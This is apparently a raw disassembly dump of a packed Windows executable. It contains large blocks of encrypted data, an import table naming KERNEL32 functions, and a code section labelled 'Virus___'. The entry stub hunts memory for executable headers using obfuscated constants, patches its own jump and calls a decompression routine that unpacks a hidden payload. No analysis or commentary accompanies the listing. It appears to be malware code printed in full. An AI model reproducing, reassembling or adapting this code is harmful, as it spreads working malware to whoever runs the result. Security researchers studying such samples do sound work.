		dd 0C36A01BCh, 6CECDDA6h, 0E20447B9h, 0D0FE1FB6h, 942ADED1h
		dd 0C3034D35h, 6DA573FCh, 356C85E6h, 2B58071Bh,	6B2772AEh
		dd 0FF422638h, 0B4A74EF5h, 0F66750E8h, 9C7F459Ch, 2D7C1CEDh
		dd 0ED2317E9h, 84371D35h, 0A97CB397h, 0C872012Eh, 0E37706A1h
		dd 0BA3C189Ch, 0BA2590D9h, 455C3BABh, 0C62E02CFh, 74831868h
		dd 11FFACA9h, 0E30C863Ch, 4223EA38h, 34ECFB90h,	0A250323Ch
		dd 0A3E0025Ch, 0CBF5B735h, 0F5B75D06h, 0F8F179C2h, 0AD2E33FAh
		dd 0BBB28138h, 645604B6h, 90927D34h, 0F3C5463Ch, 0BFB6A3D4h
		dd 333E3FECh, 0AE92B1BDh, 15CC7F09h, 0FC0BD41Ah, 0DA81C2C4h
		dd 4D1F1D8h, 67D5990Ah,	0C6CFE083h, 0CE629E81h,	873EF2C0h
		dd 680CDC34h, 27C76C18h, 88DDA7FCh, 0EA50A1C9h,	7BEDFC26h
		dd 0DEF79537h, 5A234397h, 4AE776FCh, 0EDDCBCA7h, 0D89F2E9Fh
		dd 0EAC97D1Ah, 0DCA176E3h, 0EEF4B829h, 89B094A9h, 66DD96EBh
		dd 9BEE95CAh, 6CFA1A0h,	0A32F512Ch, 99A8F55Bh, 0AA77C540h
		dd 319043B3h, 0A0C2D16Fh, 0CD1BA06h, 67C00958h,	8580736Eh
		dd 186C6551h, 1ACF9C69h, 37E39DDDh, 0C84DB1D0h,	0EED22404h
		dd 5418E01Ch, 0C10647Fh, 93F6718h, 3E2129F5h, 60BB403Eh
		dd 9677D82Fh, 68C749E4h, 0AB73B1BDh, 0C15789E1h, 5945CB95h
		dd 0D3148D1h, 0D2F75840h, 1F1B502Dh, 0A56AE0EFh, 0AD1165D7h
		dd 6DBDBFD9h, 88C5B39Fh, 56148C8Eh, 48AD0C47h, 1A6D58FBh
		dd 2775C227h, 2BF6F7DBh, 98C9299Eh, 0B3958EAh, 24529517h
		dd 94DCB5FAh, 63CA0904h, 29475700h, 26098F8Fh, 0AB190FD3h
		dd 2774207Eh, 4C3174D3h, 0DC9C551Bh, 82FAA13Dh,	5CCAE091h
		dd 3EC2438Eh, 0E1ADB732h, 0FD0E0ECAh, 0DCB39174h, 6EDF2617h
		dd 86FA96A4h, 0EDD168BEh, 13C6AF7h, 2CE65A7Dh, 1C95395Bh
		dd 0EBA6FC75h, 3826DAC8h, 0FD2A319h, 1B7240F3h,	0AD1EDADEh
		dd 324ECD8h, 0FDC37F7Ah, 0F05F4FE3h, 0F62FD123h, 2C505AB6h
		dd 5A0C7016h, 509BD76h,	0C4A073F8h, 0DCCCAA4Bh,	24FC9D03h
		dd 0CEB5E3Eh, 0DA0667A8h, 6EB7B40h, 88D40C2h, 0DC86B899h
		dd 9CCF217Fh, 3C0E3FCBh, 12E0948Bh, 0EFAD653h, 0D4EF0Eh
		dd 0A8F620E0h, 40EDDFC4h, 1CF9C626h, 0CF511Fh, 42E0C234h
		dd 8EA05119h, 0ADF0D5BCh, 47953E7h, 0E8778636h,	0FC8204E4h
		dd 0CE267CA2h, 4DCD7D2Dh, 343F395Eh, 2FBF3A02h,	0FC963D76h
		dd 2FFAB71Fh, 0DF60B5CFh, 13759DD5h, 5E11E220h,	30E5E654h
		dd 0D31EAE41h, 3038BD6h, 0D9614C81h, 3EB31D14h,	9068EF17h
		dd 0D6E0C244h, 1C28B2E6h, 13980114h, 6498864Ch,	4C3A14B6h
		dd 15C7C789h, 0F0FBC200h, 0AD0F127h, 0E7D51305h, 59D048C6h
		dd 851BFCFCh, 6DC659C9h, 2EE65D8Dh, 5DD675C7h, 27597562h
		dd 1292DEF9h, 896B900Dh, 528D1286h, 72E67C9h, 8E77472Fh
		dd 8F7F1CE2h, 6E007960h, 19141A1Eh, 3DB38410h, 9AEAA1C2h
		dd 21D05A94h, 0B44D84Fh, 5BF6BA38h, 4860D9E4h, 7DE87D21h
		dd 6816C32h, 9F2CF18Ah,	12E1B537h, 0B58438CCh, 0BE656423h
		dd 15E9B30Ah, 99514426h, 0E78A421Bh, 72B03C35h,	32982CC5h
		dd 4DF43845h, 49F0CB3Ch, 5927588Dh, 0CF30D2D9h,	0A2C674A3h
		dd 552C6141h, 7F22DA9Dh, 0A0089050h, 0D4F066E9h, 0D1B6EB98h
		dd 61F92DF8h, 1B7741FBh, 4A30F96Ah, 9DCBEAC3h, 0BECF1F80h
		dd 0A0D10348h, 0DEEEB4F2h, 4F7BE27h, 810F3DC3h,	34FB60ACh
		dd 0DC175D0Fh, 69518FCBh, 65B69A9Fh, 3E3D6CBh, 788C668h
		dd 0DC813533h, 0EDA357DCh, 0B947EDFh, 39FAB127h, 0C00D8A6h
		dd 3E9C474h, 3A37B428h,	0F02CB835h, 0C8F4963Bh,	5634B83Eh
		dd 5D2D5515h, 520D796Bh, 2F67B48h, 9FDE4668h, 32E07556h
		dd 285B3C75h, 66012C16h, 6FDC59E8h, 4038BE61h, 12A406B9h
		dd 89B3BFAh, 0AA0791Bh,	0DF19C122h, 0C25B43E0h,	0E141E6h
		dd 9F627DCh, 8477C867h,	0A620BF53h, 856C991Eh, 9536EA08h
		dd 6CE20EE9h, 43F19C86h, 3FCD406h, 6EA8A6EDh, 0CC7757D9h
		dd 74D4044Ch, 0EF39096Bh, 0F53D4134h, 0C5A9D15Dh, 992CAA64h
		dd 0D3047577h, 30F3429Ch, 6B074374h, 0C86C597Fh, 25F3348Eh
		dd 63162744h, 0DBAA4DF0h, 5F3AB3B4h, 2AA074C9h,	4DF47C10h
		dd 0C7385DFCh, 97350467h, 0DA780638h, 0D4A639E7h, 549F177Ch
		dd 6A5075F1h, 0B4C4DDCh, 40688D60h, 42C86897h, 0DB7AB5FDh
		dd 0BF3451F8h, 0A4927E0h, 4D94557Fh, 472DD9FFh,	7DC87520h
		dd 0DCE87708h, 0C4046CDCh, 0EB2DFFF4h, 5CE3653Fh, 70E1A566h
		dd 2F0C75DEh, 0EDA8B480h, 6558518Eh, 873CB59Ch,	2D566F9Fh
		dd 41006900h, 8F357125h, 0C56CFA22h, 1840F964h,	9F1C751Eh
		dd 4CDCF923h, 0DAD84260h, 0B448138h, 0FF0D752Ch, 7CFDCCh
		dd 0C70D4AA2h, 0F406A5FFh, 0B82C7528h, 6EE819E7h, 50C0778Ch
		dd 0D4F481E7h, 3F35B1D9h, 0D70C7CC7h, 24EF1966h, 0B9AD3925h
		dd 7234517Ch, 7F025EFh,	0FF0052Ah, 10E1B72Fh, 0C3B29B3Bh
		dd 0A50499FDh, 33C5FD5Fh, 6C290001h, 55C38130h,	56FF1F79h
		dd 0F3D444D4h, 35F046A1h, 71D5151h, 6610A748h, 5A608E81h
		dd 2D0744ABh, 5AF8A983h, 2B6070D9h, 0E4645FC3h,	13C99022h
		dd 27D2FC0Eh, 38333D66h, 0D4D1151Bh, 137E6E55h,	0B4ABC246h
		dd 18C59925h, 47939C19h, 98F91171h, 0B396F07h, 2AB45581h
		dd 0D8A13A29h, 0DF8FB118h, 55D760A3h, 0DF1315B5h, 5740A300h
		dd 85E242CBh, 50CA9392h, 18C1BC60h, 4A0B12C5h, 0B5BBC91h
		dd 0EEA08D07h, 7F1635D0h, 316943Dh, 3B104602h, 1F1E3121h
		dd 0B6C89F88h, 195ACE6Dh, 0BDE1F217h, 1C05418Eh, 1A5D6153h
		dd 3CA09614h, 4E3C92Fh,	0DC738C2Ah, 8FE7C889h, 2D40912Eh
		dd 0E442DCC3h, 76AF311h, 613E0209h, 53EA9807h, 0AB0491BAh
		dd 1B37665h, 3C90B60Ah,	0A2E5E404h, 0DBCFB09Bh,	7AE5B27Eh
		dd 0AD227D8Fh, 1D885CACh, 94EDD12Bh, 1F9AFF30h,	0D95E8D09h
		dd 2F0D4FD5h, 8513C882h, 7DC4FCEh, 1951BAFFh, 0E9D89822h
		dd 0EE55A3Eh, 3DECF60Ch, 7B399D81h, 409CB731h, 1F0C4824h
		dd 0F438189h, 3AA8D949h, 0FC85ADA0h, 0FCB32E22h, 73EB63EDh
		dd 328D9FF6h, 733073D0h, 13CC1BCCh, 7D4C8204h, 72C96DF3h
		dd 0BFF4DFFBh, 0C2D45D42h, 0D959E57Ch, 0E8F6E5E5h, 0AB346197h
		dd 5E1E5A04h, 0F0B45CDCh, 3CB68D63h, 0A4F4E39Ch, 0DD796F8h
		dd 72E67707h, 3BD85988h, 0C9592FD8h, 0F6D13810h, 3CEA7F6Fh
		dd 3FDCA620h, 16D2E07h,	3280F7D8h, 1347E920h, 156F4E70h
		dd 0C6B23C1Ch, 0F9890812h, 3A57E74Fh, 0C580635Fh, 6B9BA10Eh
		dd 0B9372F6Bh, 4AEB254Dh, 2432E7F9h, 8ECB1C9h, 0EDE5D6D6h
		dd 0CE0D9F9Bh, 68002522h, 0BAB5909Ah, 0D8CCC9D9h, 704FA1E4h
		dd 3610856Eh, 82E44F3Ah, 0DCF644D6h, 9AF9ED7Ah,	6220972Eh
		dd 84EC4E80h, 53E74220h, 44B85998h, 0C87B222Bh,	4BB4CB4Ch
		dd 0A8B47E83h, 26D85D2h, 0D359F309h, 7AF450A9h,	49F4D9Bh
		dd 2660A3F5h, 120F8EC6h, 0DC1E40C1h, 36D77FC0h,	43D2E01Ch
		dd 6D686B11h, 23A0F026h, 0BD0E2728h, 0D1134125h, 0F09571Bh
		dd 69C04F63h, 0E279FD2h, 97C59C25h, 0C5F8A267h,	5E60F501h
		dd 32822000h, 4B3BCC29h, 0B2C19907h, 18E05616h,	0E1E794D4h
		dd 1ACABF90h, 4ECF9C76h, 38AA357Ah, 69A17C58h, 402A7h
		dd 4C755F4Eh, 1859BD30h, 6AD494AAh, 9E0ABCAh, 98E4C310h
		dd 555CD8DEh, 6D18D2CFh, 0E91E94C9h, 694873D6h,	2E58F33Ah
		dd 192A7972h, 56CDB9C3h
dword_417800	dd 0F79CB4Bh, 6ECC6F31h, 3E01B3D4h, 49378F1Bh, 13F6A9FEh
		dd 1C7945F6h, 8481C57Fh, 94A531E4h, 63379282h, 26EFA71Dh
		dd 6AE4013Dh, 6BA5675Dh, 0DB6CCC8Bh, 3FC46D96h,	0A80B3C28h
		dd 9AD1A768h, 2E24820h,	6036E6F2h, 1FC7DA7Eh, 7204BDD0h
		dd 0B798C534h, 0B6ED43F0h, 22334F26h, 856F31h, 933F1D92h
		dd 5DFC6089h, 0F1E7B470h, 3DCA4C1Bh, 0A9AFF634h, 1B06A9A6h
		dd 3BD82BC3h, 95C3E874h, 0D6CA92CEh, 1D898A32h,	9F0D1BE7h
		dd 30C65175h, 98B6982Ch, 93C1A120h, 69D63CF4h, 2078B52Dh
		dd 0FAB04B8Bh, 10B399F8h, 0FDA15EC5h, 2526F4E3h, 0DC75AD31h
		dd 0A4FE16BCh, 0AEF54741h, 1D531CD8h, 0C9C499D1h, 0A538D736h
		dd 48D1887Ah, 44AC3120h, 86B4504h, 7E32E32Fh, 37168F78h
		dd 644C8D2Bh, 4C0FD9Ah,	7C93992Eh, 0FAD4267h, 490A8D04h
		dd 0DBA9AB28h, 130BC958h, 4E4C27BAh, 0C175A3D4h, 0C09AB3CCh
		dd 170E748Dh, 0FC037E53h, 0FF104CDFh, 0F26D5853h, 6AC8F81Eh
		dd 859340E2h, 0F8CBB72Ah, 0C4C3CB83h, 68CC2C03h, 46F08904h
		dd 0DF3E16D4h, 7CE70B14h, 0AEFB659h, 323A0BABh,	5DD4A7A1h
		dd 977BBE69h, 9E3DBFA5h, 10B51DDCh, 7B54563h, 4B195576h
		dd 55F46D87h, 0CF05B714h, 15CCA417h, 0DD7C4E6Fh, 0D428E437h
		dd 0BA0A939Eh, 0AFE0BC48h, 6939F4C8h, 1FFAB511h, 1D5635C3h
		dd 0DC1EC4CFh, 556070BCh, 0C2B14E01h, 0DABEC495h, 0E2C0130Fh
		dd 60CB3269h, 943B4BADh, 8D61B20h, 8B14FCCBh, 0DC75B66Ch
		dd 320E1438h, 8FF2F8B0h, 374B3CCCh, 370836CBh, 40E736h
		dd 38EB68FFh, 11EC77C5h, 0E6DA8B7Eh, 3CF7B08Ch,	7FC91D9h
		dd 3B4FC235h, 0E7ABB025h, 0C8124005h, 0A40CC9DCh, 93D89830h
		dd 4E732722h, 0E708878Fh, 83CCFB26h, 0B8C67C29h, 69E07F4Ah
		dd 8ADC8C18h, 0DD16FF4Bh, 68C90317h, 0E1A89201h, 9F52E550h
		dd 98D45188h, 6B13B20Eh, 9AC5B411h, 6FD51778h, 33E8EC79h
		dd 659B86B7h, 12E49B48h, 66017E14h, 83DE0C15h, 59F86910h
		dd 0FE8DADDh, 0BCF4674Eh, 0D9414622h, 0B80A5A87h, 33EB4814h
		dd 30F6EC7Dh, 30E9405Fh, 871CB36Ah, 6604D800h, 2B20E42Eh
		dd 1AC57F61h, 92CE7818h, 115EB924h, 39793AD6h, 0BAD1D8D2h
		dd 0D1124779h, 0CD203537h, 1C90BFA2h, 17E57F83h, 0ACABAA90h
		dd 21F1BEFEh, 3A3CFFC8h, 0CD69783Eh, 305689Ah, 68E7C023h
		dd 7B1BDEDFh, 430B042Fh, 9BB35A32h, 0CA8BD970h,	5636D939h
		dd 0DAEF0E10h, 8483AC9Eh, 26C5990Eh, 0EDC91D9h,	167DFACAh
		dd 32EEAE32h, 0D6E34E8Ah, 0A8C3CD7Eh, 0C4CF6F17h, 654851FBh
		dd 0CF33FD7Bh, 59B0B3B6h, 76519B26h, 78C66CE1h,	14D27FCEh
		dd 0C8555813h, 7179681h, 27C2E40Dh, 0B458451Dh,	162565B6h
		dd 0F4060A6Dh, 0EA240D9Bh, 77FB04CDh, 0E82567EDh, 0D7570595h
		dd 0F7DBAAEFh, 0EF5104CFh, 0F40416EDh, 0D55B8A0Dh, 0F75C10EFh
		dd 6E256B9Eh, 0AE26926Dh, 0B0FC84B3h, 0A7F57DE8h, 0FCF09583h
		dd 115FDFCAh, 44DF7D38h, 0FCF04062h, 4EDFC29h, 0A7A97D38h
		dd 0FCF064F8h, 20AF7FA7h, 2E664D38h, 3EF4544Fh,	0DC966417h
		dd 0D5CE643Ch, 0A8F455F0h, 2D7D6424h, 0AF0CA3Eh, 38E425FEh
		dd 3C5BC4A4h, 385710EFh, 90D4F85Ch, 0B05C97Fh, 3B8636Dh
		dd 5BD37973h, 0AF08921Ch, 26D35524h, 0F0C0E4C8h, 78838556h
		dd 55505B13h, 2101B224h, 0A125704Ch, 0F4A4D856h, 3E116h	dup(0)
___		ends

; Section 2. (virtual address 00110000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00110000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 510000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 511000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 111050h, 111000h, 3 dup(0)
		dd 111079h, 11100Ch, 5 dup(0)
aKernel32_dll	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00112000)
; Virtual size			: 000D7000 ( 880640.)
; Section size in file		: 000D7000 ( 880640.)
; Offset to raw	data for section: 00112000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Virus___	segment	para public 'CODE' use32
		assume cs:Virus___
		;org 512000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0DF6344ACh, 497BDh, 5EADAh, 147172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00512265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056AB30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056DF85 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0056E1FB SIZE 000000E0 BYTES
; FUNCTION CHUNK AT 0056E311 SIZE 00000016 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_512086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_512041
		popa
		jmp	short loc_512076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 20h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_512041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51204E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51206D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_512074


loc_51206D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51204E
; ---------------------------------------------------------------------------


loc_512074:				; CODE XREF: start+57j
		mov	edi, eax


loc_512076:				; CODE XREF: start+1Bj
		jmp	loc_512265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11226Ah
		add	ecx, edi
		jmp	short loc_512090
; ---------------------------------------------------------------------------


loc_512086:				; CODE XREF: start+8j
		mov	eax, offset loc_56AB30
		mov	ecx, offset word_51226A


loc_512090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51211B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_512265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 224Eh
		db 90h
		db 0C8h, 7Ch, 30h
		dd 818C18h, 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h
		dd 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh
		dd 0D8B164C8h, 88BA75EBh, 2850A040h, 5A4E2BEFh,	1848C86h
		dd 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h,	0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 22264C98h
		db 91h,	0C8h, 64h

; =============== S U B	R O U T	I N E =======================================



sub_51211B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_512127:				; CODE XREF: sub_51211B:loc_51213Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_512132:				; CODE XREF: sub_51211B+7Aj
					; sub_51211B+C3j ...
		add	dl, dl
		jnz	short loc_51213B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51213B:				; CODE XREF: sub_51211B+19j
		jnb	short loc_512127
		add	dl, dl
		jnz	short loc_512146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512146:				; CODE XREF: sub_51211B+24j
		jnb	short loc_512197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_512153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512153:				; CODE XREF: sub_51211B+31j
		jnb	loc_512238
		add	dl, dl
		jnz	short loc_512162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512162:				; CODE XREF: sub_51211B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51216D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51216D:				; CODE XREF: sub_51211B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_512178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512178:				; CODE XREF: sub_51211B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_512183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512183:				; CODE XREF: sub_51211B+61j
		adc	eax, eax
		jz	short loc_51218D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51218D:				; CODE XREF: sub_51211B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_512132
; ---------------------------------------------------------------------------


loc_512197:				; CODE XREF: sub_51211B:loc_512146j
		mov	eax, 1


loc_51219C:				; CODE XREF: sub_51211B:loc_5121B0j
		add	dl, dl
		jnz	short loc_5121A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5121A5:				; CODE XREF: sub_51211B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5121B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5121B0:				; CODE XREF: sub_51211B+8Ej
		jb	short loc_51219C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5121E3
		mov	ecx, 1


loc_5121C0:				; CODE XREF: sub_51211B:loc_5121D4j
		add	dl, dl
		jnz	short loc_5121C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5121C9:				; CODE XREF: sub_51211B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5121D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5121D4:				; CODE XREF: sub_51211B+B2j
		jb	short loc_5121C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_512132
; ---------------------------------------------------------------------------


loc_5121E3:				; CODE XREF: sub_51211B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5121F1:				; CODE XREF: sub_51211B:loc_512205j
		add	dl, dl
		jnz	short loc_5121FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5121FA:				; CODE XREF: sub_51211B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_512205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_512205:				; CODE XREF: sub_51211B+E3j
		jb	short loc_5121F1
		cmp	eax, 7D00h
		jnb	short loc_512228
		cmp	eax, 500h
		jb	short loc_512223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_512132
; ---------------------------------------------------------------------------


loc_512223:				; CODE XREF: sub_51211B+F8j
		cmp	eax, 7Fh
		ja	short loc_51222B


loc_512228:				; CODE XREF: sub_51211B+F1j
		add	ecx, 2


loc_51222B:				; CODE XREF: sub_51211B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_512132
; ---------------------------------------------------------------------------


loc_512238:				; CODE XREF: sub_51211B:loc_512153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_512259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_512132
; ---------------------------------------------------------------------------


loc_512259:				; CODE XREF: sub_51211B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51211B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_512265:				; CODE XREF: start:loc_512076j
					; start+9Dj
		jmp	loc_56AB30
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51226A	dw 38E9h		; DATA XREF: start+77o
		dd 1563450h, 7838BFABh,	0C0F1EA42h, 5D15C204h, 81711D1h
		dd 5C92E4D5h, 1724F921h, 36E47508h, 9CF7235Ch, 5C552301h
		dd 73655203h, 99726174h, 2EC57041h, 84F378E9h, 0E101EC7Eh
		dd 29B9BE1Ah, 35FCFB34h, 5D2103DCh, 0AC71E955h,	989A7F5Fh
		dd 7F90E503h, 133525Eh,	91D721DCh, 7F8F7071h, 23DC2291h
		dd 889C5EF7h, 219B7757h, 0BB2B8403h, 656854C0h,	6438696Dh
		dd 1CAA4761h, 0D487C58Bh, 8108E860h, 5FED815Dh,	8909D434h
		dd 27A99518h, 44E5B50Dh, 39208507h, 0BD83082Bh,	7382A2Dh
		dd 0E88B0C74h, 52B8E222h, 0C7C27B05h, 1D244470h, 21F53Eh
		dd 60E8456Ah, 9A6829A3h, 77A8374h, 250ADF50h, 0A894B1Eh
		dd 0E909D591h, 64150214h
		db 0F4h, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 2354DEAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Virus___:0051236Dj
		inc	eax
		mov	[eax], ecx
		aas
		cmp	dword ptr [ebp+31h], 0F741D80h
		lahf
		and	[eax], cl
		leave
		xor	dword ptr [edi+12FF1026h], 18h
		inc	ebx
		jmp	short near ptr loc_51234F+1
; ---------------------------------------------------------------------------
		fsub	qword ptr ss:[ecx-23h]
		db	26h
		add	eax, 104C2C9h
		inc	esi
		add	esp, 2A3FF7Ch
		dec	ecx
		xchg	eax, ecx
		xchg	eax, esi
		pop	es
		lea	eax, [ebp-80h]
		mov	esp, [ecx+8]
		mov	dword ptr [ebp+504A1944h], 0D1000A8Dh
		retn
; ---------------------------------------------------------------------------
		db 88h,	18h, 41h
		dd 810BA889h, 206A2BDh,	94E3755Dh, 0BA8D2827h, 475EC64h
		dd 0BB0E8A80h, 0B85B90F4h, 540F37ABh, 0CCD0D378h, 3B4B080Fh
		dd 0AF05F775h, 244647C3h, 0F946624Ah, 61D142A2h, 0D0078ABAh
		dd 0EED85FF0h, 4DA0FC45h, 0ADA304EBh, 3E8046C8h, 0BAF740C5h
		dd 0E6348436h, 0EB0C197Dh, 0CF83E7Fh, 0F012C86Dh, 0A8F40E4Ch
		dd 14C14A10h, 0D604F065h, 0E0D1F803h, 2896C203h, 8ADB3301h
		dd 0FB80301Ch, 0C30A72CCh, 577390Ah, 26EFEBD3h,	617F1422h
		dd 660A0D67h, 0F51E08F6h, 0EA0AC3F4h, 411AC310h, 0A0D0B72h
		dd 24067746h, 5D0121EAh, 0F4EC87F0h, 2317D83h, 0CB3B072h
		dd 0A57676C0h, 0F826AA64h, 8D76E01Ch, 553BA8A0h, 820FFC0Ah
		dd 0B09CBD78h, 0E538AA1Bh, 0E08BA0Eh, 0FC700AB9h, 36DCBD84h
		dd 470FFE00h, 0FA1C7549h, 6A5D22B9h, 4F01BBD3h,	0EB82F112h
		dd 276DBh, 38AC868Eh, 65510A5Eh, 17FD36E0h, 0BC268A73h
		dd 91E94Fh, 67FE8B59h, 0F4ADC82h, 10C32C54h, 34CCE25Fh
		dd 78196F1h, 0CB8C75ECh, 39320C34h, 765B4E00h, 51B8100Fh
		dd 0D1043E3Dh, 46303B3Bh, 2E09753Eh, 0EC011EAh,	65E4EC48h
		dd 30065090h, 5C50684h,	0BBBF968Eh, 4855347h, 8C2940C2h
		dd 0E7820571h, 0B3A60EDBh, 812B0CFFh, 1D220477h, 84C13401h
		dd 207533F9h, 773FBC90h, 0EF670A76h, 41330230h,	7F8C89ECh
		dd 90FFCC9Fh, 0EA45CF40h, 625060E9h, 8C5200C4h,	8211254Dh
		dd 0CD84B1AAh, 8845AABh, 0C3A65613h, 0EE825E0Ah, 0E4A081CAh
		dd 0FA8A8844h, 513A2B9h, 43289723h, 3058F06Bh, 211704E9h
		dd 8AE4C460h, 94257D28h, 16084566h, 58480021h, 61B5E9C4h
		dd 0D91DBC67h, 6302623Dh, 81221F8Bh, 9B03CC94h,	0C8DA8DFCh
		dd 5FC35760h, 758A91C4h, 47881A18h, 99C40757h, 0F05F8E77h
		dd 81FA8BBBh, 6705E200h, 0CA0BDB8Ch, 3E863110h,	8012E933h
		dd 7CF2050Bh, 3B93B75h,	981E93E6h, 2A802060h, 39725850h
		dd 0C8265C71h, 96200086h, 8C3D0260h, 0CE39EADFh, 0DCC580Fh
		dd 0A503ED0Dh, 0DE9E3AF8h, 0C6660AF3h, 6F24ACEBh, 10E91891h
		dd 0BA380Bh, 0C9D5350Fh, 3D792DD6h, 36B72C00h, 0E482A60Dh
		dd 0FB540083h, 868A5C21h, 4AC309F2h, 22E5F081h,	0E9301612h
		dd 2B42550Fh, 21C900DAh, 0B1712CF7h, 3103FA57h,	0BA670DB8h
		dd 0C05BD87Fh, 0CD81014Dh, 0F0C38234h, 1E3CB074h, 611BACh
		dd 8B93C0BCh, 0EBEC8222h, 820C766Fh, 0E04CF781h, 798C629Eh
		dd 0A3E6A033h, 0DDB0F4Eh, 439EB5B4h, 0B23FE9C7h, 8015EAC9h
		dd 3D3B8199h, 0E4A2EEh,	0F4C3852Eh, 4128664Fh, 6D15CC02h
		dd 43021792h, 2734F09Ch, 53B23C7Ah, 5170F701h, 0FD104898h
		dd 2E51A809h, 6D02E8FCh, 8A62F608h, 925B6133h, 0FC15C5E4h
		dd 5FC60CE2h, 8EE43F57h, 0C01019C0h, 48EC84CCh,	9A2C1202h
